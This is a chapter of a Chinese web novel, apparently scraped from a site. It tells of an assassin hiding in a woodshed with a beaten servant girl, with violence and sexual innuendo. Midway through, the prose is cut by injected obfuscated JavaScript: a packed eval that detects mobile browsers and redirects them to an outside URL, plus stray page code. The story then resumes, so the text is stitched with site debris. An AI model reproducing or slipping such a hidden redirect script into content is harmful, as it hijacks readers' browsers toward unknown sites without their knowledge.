一扇破旧的窗户打开着,貌似是间柴房。
薄昭珩翻飞进去,一股子浓厚的血腥味扑面而来,下意识往源头看去。
一姑娘楞楞的不知是被吓傻了还是在神游天外。
见他望过去,扑闪扑闪着眼睛问他。
“你喝水吗?”
姑娘伸出一碗水。
一个安然递水,仿若他只是个偶然路过进来讨杯水的路人。
一个安然接过水,没有半分刚刚杀戮过一场的模样。
他知道现在的自己很渴,喉咙干渴得厉害。
渴的却不是水,而是新鲜的血液。
碗被重重的放在桌子上,他一步一步靠近姑娘。
“搜刺客”陡然传来的搜寻声。
薄昭珩猛的扑上去,一手捂住她的嘴,一手用匕首抵住她纤细的脖子。
许是她身上的血腥味,无意中冲掉薄昭珩的那份渴。
他压得更低,贴着云渡安的耳朵,胁迫道“别出声”
姑娘僵成一条死鱼。
窗外的火光越来越近,心如擂鼓。
“哐”门被一脚踹开,几个家丁侍卫拿着火把闯了进来。
小小的柴房瞬间灯火通明,姑娘盖着被子倚靠着墙。
领头人一眼环视过去。
屋子只有一张桌子和稻草做的床,其余都是些干木材、杂物,一眼望到底。
手下的人在屋子里肆意搜寻。
“黑丫头,可曾看到什么可疑的人”
领头人见她半死不死的坐在床上,顿觉自己问得有点多余。
又见她脸色煞白,有几分仓皇的惧怕。
以为她被这突如其来的搜查吓到了,话锋生硬的挤出点温柔。
“你不用怕,庄里来了刺客,才这般搜查”
冰冷的刀锋贴着她的腰间,动了一下,娇嫩的皮肤瞬间破出一个口子。
“没……没有什么可疑的人”
云渡安面上佯装镇定的回答他上一句话,被子下的手抖得不行。
“怎的血腥味这般重?”
屋里的血腥味冲鼻得有点可疑。
“前几日在比武台上,伤着了,至今还未好”
领头人楞了一下,自觉又问了一句废话。
那日她被大小姐下狠手的情景,现在回想起来,真是惨不忍睹。
“大小姐是娇生惯养了些”
想着还是宽慰几句。
“不过也算因祸得福,云琮师弟既已经打算向师娘求娶你,你不要计较太多,安心养伤便是”
“是啊,多大的福报啊”
云渡安低垂眼眸,拽着被子一角的手指隐隐泛白,领头人看不清她的情绪,只以为她在感恩戴德。
唯有潜伏在她稻草堆下的人,清清楚楚明晰她眼里翻涌的滔天恨意,不动声色按住她想要直接掀开被子的手。
“行了,撤吧”
搜查的人找了一圈,没看见什么可疑的迹象,就往外走了。
走到一半,领头人寻思着不对啊。
比武已经过去了好几天,那伤口应该结痂了才是,而屋里血腥味是新鲜的。
“哐”的一声门又被踹开。
火把照亮的瞬间,他不由得倒吸了一口气,连忙把门关上。
云渡安背对门,赤裸着上半身。
背上是青青紫紫的鞭痕,交错纵横,触目惊心。
有些结了痂,在行动间又裂开,有鲜血溢出。
“黑丫头……呃……黑丫头”
来人干咳几声,似有些不忍。
“止血药我放门廊这,你先且用着”
小屋又归于平静。
云渡安屏住呼吸,刀还危险的横在她的腰间。
那人整个身子都埋在稻草下,他眼睛如勾,死死的盯着云渡安。
“你想怎么杀了我?”
“割脖子不好看,换个行不?”
“……”
姑娘很认真的跟他讨论着死法。
眼前的一片红雾,看不清她的脸,清凌凌的声音怪异的让他紧绷的神经安静下来。
薄昭珩笑了,终于有和他一样的怪物了。
她想死,刚好他也是,他们是同路人啊。
不知道过了多久,他眼里的赤红渐渐消散,脖子上暴起的青筋也平息了,身体不再抖动。
匕首滑落,他孱弱的一头栽在她的稻草堆里。
原本死死禁锢住她的人,此刻奄奄一息。
云渡安反手捡过匕首,一个翻身就压在了他身上。
匕首对着他的胸膛。
刀柄的红宝石在黑暗里,闪着危险的光。
她过往一向与人为善,平日连口角也不曾有。
哪怕那群人孤立她、欺辱她,她也没能生出害人的心思。
只是现下不巧,他错过了。
“怎么?第一次杀人,无从下手?”
薄昭珩轻笑一声像是要戳破她的虚张声势,甚至兴致高昂的用手指自己的心脏。
“从这里刺下去,只一下你就安全了”
“下刀要快、狠,不快也行,我的匕首很锋利的,只是可能要溅你一身血”
语气诚恳,像是真的要教会她一样。
云渡安凑近他,单手掐住他的脖子,极具压迫的想要逼退他眼里恶意的嘲弄。
“人在幸福美满的时候,才会想要积德行善。”
云渡安手上用劲,释放着她从未在任何人面前展露过的恶。
“不巧,我现在想做个恶人”
“哐”的一声门再次被撞开,不过这次是隔壁的。
“翠儿,我的心肝宝贝,我想死你了”
是对偷情的狗男女。
“阿牛哥,我也是,看看你的大牛牛”
“啊~唔~”
“轻点~轻点~”
隔壁乱七八糟的话涌入云渡安的脑子里,快有画面了,此刻她才意识到现在的姿势有多糟糕。
她只穿着一件单衣,结结实实的跨坐在贼人的腹部上,贼人微微撑起上半身,眼睛里水光潋滟。
“没关系的,你从这往下扎”
什么扎?扎什么?怎么扎?
薄昭珩缓缓的扯开了衣襟,细腻白嫩的皮肤就这么袒露在月光下。
红点遭遇冷空气瑟缩了一下,修长骨节分明的手轻轻覆盖在上面。
“扎这里”
她像上了一根弦,紧绷着,不知所措的视线完全落在他手上。
满是血腥味的屋子,此刻融入了股香甜的气息,源源不断来自眼前的姑娘。
好像水做的,一戳就大汗淋漓,她,这么容易到吗?
“你们在干什么?”
一声尖锐的呵斥声,云渡安慌乱的一抖,心虚极了。
“虎子哥!!”
还好是抓隔壁的,云渡安松了口气。
“你们给我起开”
一阵拉扯推嚷。
“虎子哥,你也来”
“……”
啊?这么快就妥协了,云渡安的脸色瞬间涨红,脑子里的画面精彩纷呈,不能再想了,不能再想了。
嗯?什么东西?手下意识探过去。
“嗯~”
云渡安猛的脑子炸掉了。
他,他,他,竟然。
“抱歉,刚刚就这样了”
隔壁的大战还在继续,声音越来越肆无忌惮。
薄昭珩撑着,靠坐在了墙上,屋里太暗了,只有淡淡的月光。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351411|199610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
小姑娘蜷缩在角落里,他只能看到一团黑影。
他嘴角弯起,是他欺负小姑娘了。
“你的眼睛很漂亮”
他闭上眼,喉咙有些干,她的眼睛像一汪清泉,如果刨下来,放在身边时时观赏,他或许就不会那么渴了。
“过来给我上个药”
所有动静都停歇了好一会,有气无力的声音在黑暗里微不可闻。
“我太重了,真死在这里你搬不动的”
气若游丝。
“过来”
云渡安想了想,慢吞吞的挪了过去。
那人一身清贵躺在她的稻草堆里,即使一身狼狈也不像个刺客。
如果他的眼神再柔软一点,都会让人感觉委屈了他,怎么会有人这么得天独厚。
他的腰间被划了几刀,血肉模糊的很是狰狞。
云渡安撕下他的一片里衣,用丝绢细细擦去血渍,想到什么,跑到门口,果然有一瓶药,拿回来就要把止血药给他倒上。
薄昭珩拦住了她,云渡安皱眉,这人现在还挑啥?
“我一穷二白的,你就凑合一下”
薄昭珩在她用衣服叠成的枕头底下,扒拉出一个瓷瓶。
云渡安心虚的抖了抖。
这个药是她醒后放在她的枕边,可能是云夫人给的补偿。
她用了一点点在重伤处,伤口愈合得飞快,但药不是很多,所以她就没舍得用。
薄昭珩三下五除二,全部倒在了腰间,倒完催促着云渡安给他包扎。
那可是她珍藏的药啊!这个狗。
黎明将至前,一道黑色的身影悄然落在这间小屋里。
薄昭珩闭眸坐靠着墙壁。
她靠着他很近。
薄昭珩身上涌动的血液,完全平静下来。
黑衣女子朝他行了礼。
“主子,属下来迟了”
见是她,薄昭珩蹙眉。
“父亲也来了?”
“还未,是属下先行赶来,城主的车马稍慢些,要天亮才能到这”
冷宜战战兢兢的,主子一直不喜约束,只是日期已至,主子还未回弈阳,薄家叔父告急的书信一封接一封的,怕出事,就都赶了过来,幸而主子无事。
床上什么动了一下。
冷宜警惕的握紧刀,刚刚她以为那是个死人,原来竟然是个会出气。
主子这么些年,除了她们这些暗卫,身边还有过什么活物吗?
“继续说”
像是不耐烦她的停顿,冷宜连忙稳住心神。
“灼云山庄这边离颜和薄家叔父已经安顿好,扔了一个暗子出去,云天华信以为真,没有在追查下去,只是魂骨还没找到,后面会安插几个探子进去,应该很快会有结果”
“还有离颜她”冷宜小心翼翼的试探。
她与离颜共事多年,还是第一次见离颜惊恐万分的样子,并且好像还很惧怕主子。
“已经去受罚了”
“嗯”
薄昭珩缓缓站起来,显出几分佝偻。
“主子”
竟然伤得这般重吗?伸手想去扶他。
“无妨”薄昭珩面无表情的凝着熟睡的姑娘。
冷宜心领神会,提着的刀在晨曦中泛着冷光。
“你干什么?”薄昭珩压低的声音透着不悦。
冷宜立即朝薄昭珩请罪。
“是属下逾越了,只是怕节外生枝”
以往都是这般永绝后患的,这次不是吗?
“不要做多余的事”
薄昭珩把衣服理直,朝门外走去。
“回弈阳”
这双眼睛让她再养几日,他得好好想想用什么药来泡,这么死了可就不好了。